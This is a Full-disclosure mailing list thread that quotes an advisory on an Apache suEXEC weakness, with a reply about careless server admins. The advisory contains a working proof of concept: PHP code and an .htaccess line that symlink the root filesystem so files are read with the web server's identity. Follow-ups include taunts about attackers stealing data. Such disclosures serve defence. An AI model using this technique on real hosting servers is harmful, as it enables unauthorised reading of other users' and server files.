Re: [Full-disclosure] Apache suEXEC privilege elevation / information disclosure

[Gichuki John Chuksjonia <chuksjonia () gmail com>]

One thing u gotta remember most of the Admins who handle webservers in
a network are also developers since most of the organizations will
always need to cut on expenses, and as we know, most of the developers
will just look into finishing work and making it work. So if something
doesn't run due to httpd.conf, you will find these guys loosening
server security, therefore opening holes to the infrastructure.

Just my two cents


./Chucks















On 8/10/13, Kingcope <isowarez.isowarez.isowarez () googlemail com> wrote:
> Uhh Hit em with a little Ghetto Gospel
>
> So am i less holy Because i Puff a blunt and Drink a Beer with my homies?
>
> Theres no Need for you to fear me if you Take your Time and Hear me Maybe
> you can learn to cheer me.
> It aint about Black and white cause we Human !!!
> Lord can you Hear me speaaak!!
> http://rapgenius.com/2pac-ghetto-gospel-lyrics
>
> Am 09.08.2013 um 16:33 schrieb Kingcope
> <isowarez.isowarez.isowarez () googlemail com>:
>
> > So the blackhat that Sits on ur Site and the site of ur company Since half
> > a year  will stop at the point Where its "technically incorrect" and wont
> > escalate to root because "it doesnt have to do Anything with suexec". Its
> > an Old vuln so let it stay , better for us and soon our Data on your
> > boxes.
> >
> > Time to Write a Real Root exploit and dont waste the Time with sysadmins
> > that know how to set a flag in httpd.conf   , apache devs included.
> >
> > Am 09.08.2013 um 14:29 schrieb Kingcope
> > <isowarez.isowarez.isowarez () googlemail com>:
> >
> > > So what your Emails Tell me is better ignore this vulnerability. I dont
> > > Claim its a High severity Bug but if you Tell People to ignore it Because
> > > it isnt a vulnerability you are very much aiding the Chaos of insecurity
> > > in the Internet today. You Maybe have a Secure Setting but theres only
> > > you on the Planet. Attackers Look specifically for such Bugs to Open
> > > Servers. No Wonder we have compromises in a High Scale every Day due to
> > > this ignorance. My rant on that One.
> > >
> > > Am 07.08.2013 um 21:49 schrieb king cope
> > > <isowarez.isowarez.isowarez () googlemail com>:
> > >
> > > > Apache suEXEC privilege elevation / information disclosure
> > > >
> > > > Discovered by Kingcope/Aug 2013
> > > >
> > > > The suEXEC feature provides Apache users the ability to run CGI and SSI
> > > > programs
> > > > under user IDs different from the user ID of the calling web server.
> > > > Normally,
> > > > when a CGI or SSI program executes, it runs as the same user who is
> > > > running the
> > > > web server.
> > > > Used properly, this feature can reduce considerably the security risks
> > > > involved
> > > > with allowing users to develop and run private CGI or SSI programs.
> > > >
> > > > With this bug an attacker who is able to run php or cgi code inside a
> > > > web
> > > > hosting environment and the environment is configured to use suEXEC as
> > > > a
> > > > protection mechanism, he/she is able to read any file and directory on
> > > > the file-
> > > > system of the UNIX/Linux system with the user and group id of the
> > > > apache web server.
> > > >
> > > > Normally php and cgi scripts are not allowed to read files with the
> > > > apache user-
> > > > id inside a suEXEC configured environment.
> > > >
> > > > Take for example this apache owned file and the php script that
> > > > follows.
> > > >
> > > > $ ls -la /etc/testapache
> > > > -rw------- 1 www-data www-data 36 Aug  7 16:28 /etc/testapache
> > > > only user www-data should be able to read this file.
> > > >
> > > > $ cat test.php
> > > > <?php
> > > >      system("id; cat /etc/testapache");
> > > > ?>
> > > >
> > > > When calling the php file using a webbrowser it will show...
> > > > uid=1002(example) gid=1002(example) groups=1002(example)
> > > >
> > > > because the php script is run trough suEXEC.
> > > > The script will not output the file requested because of a permissions
> > > > error.
> > > >
> > > > Now if we create a .htaccess file with the content...
> > > > Options Indexes FollowSymLinks
> > > >
> > > > and a php script with the content...
> > > >
> > > > <?php
> > > >      system("ln -sf / test99.php");
> > > >      symlink("/", "test99.php"); // try builtin function in case when
> > > >                                  //system() is blocked
> > > > ?>
> > > > in the same folder
> > > >
> > > > ..we can access the root filesystem with the apache uid,gid by
> > > > requesting test99.php.
> > > > The above php script will simply create a symbolic link to '/'.
> > > >
> > > > A request to test99.php/etc/testapache done with a web browser shows..
> > > > voila! read with the apache uid/gid
> > > >
> > > > The reason we can now read out any files and traverse directories owned
> > > > by the
> > > > apache user is because apache httpd displays symlinks and directory
> > > > listings
> > > > without querying suEXEC.
> > > > It is not possible to write to files in this case.
> > > >
> > > > Version notes. Assumed is that all Apache versions are affected by this
> > > > bug.
> > > >
> > > > apache2 -V
> > > > Server version: Apache/2.2.22 (Debian)
> > > > Server built:   Mar  4 2013 21:32:32
> > > > Server's Module Magic Number: 20051115:30
> > > > Server loaded:  APR 1.4.6, APR-Util 1.4.1
> > > > Compiled using: APR 1.4.6, APR-Util 1.4.1
> > > > Architecture:   32-bit
> > > > Server MPM:     Worker
> > > > threaded:     yes (fixed thread count)
> > > >  forked:     yes (variable process count)
> > > > Server compiled with....
> > > > -D APACHE_MPM_DIR="server/mpm/worker"
> > > > -D APR_HAS_SENDFILE
> > > > -D APR_HAS_MMAP
> > > > -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
> > > > -D APR_USE_SYSVSEM_SERIALIZE
> > > > -D APR_USE_PTHREAD_SERIALIZE
> > > > -D APR_HAS_OTHER_CHILD
> > > > -D AP_HAVE_RELIABLE_PIPED_LOGS
> > > > -D DYNAMIC_MODULE_LIMIT=128
> > > > -D HTTPD_ROOT="/etc/apache2"
> > > > -D SUEXEC_BIN="/usr/lib/apache2/suexec"
> > > > -D DEFAULT_PIDLOG="/var/run/apache2.pid"
> > > > -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
> > > > -D DEFAULT_ERRORLOG="logs/error_log"
> > > > -D AP_TYPES_CONFIG_FILE="mime.types"
> > > > -D SERVER_CONFIG_FILE="apache2.conf"
> > > >
> > > > Cheers,
> > > > /Kingcope


-- 
-- 
Gichuki John Ndirangu, C.E.H , C.P.T.P, O.S.C.P
I.T Security Analyst and Penetration Tester
jgichuki at inbox d0t com

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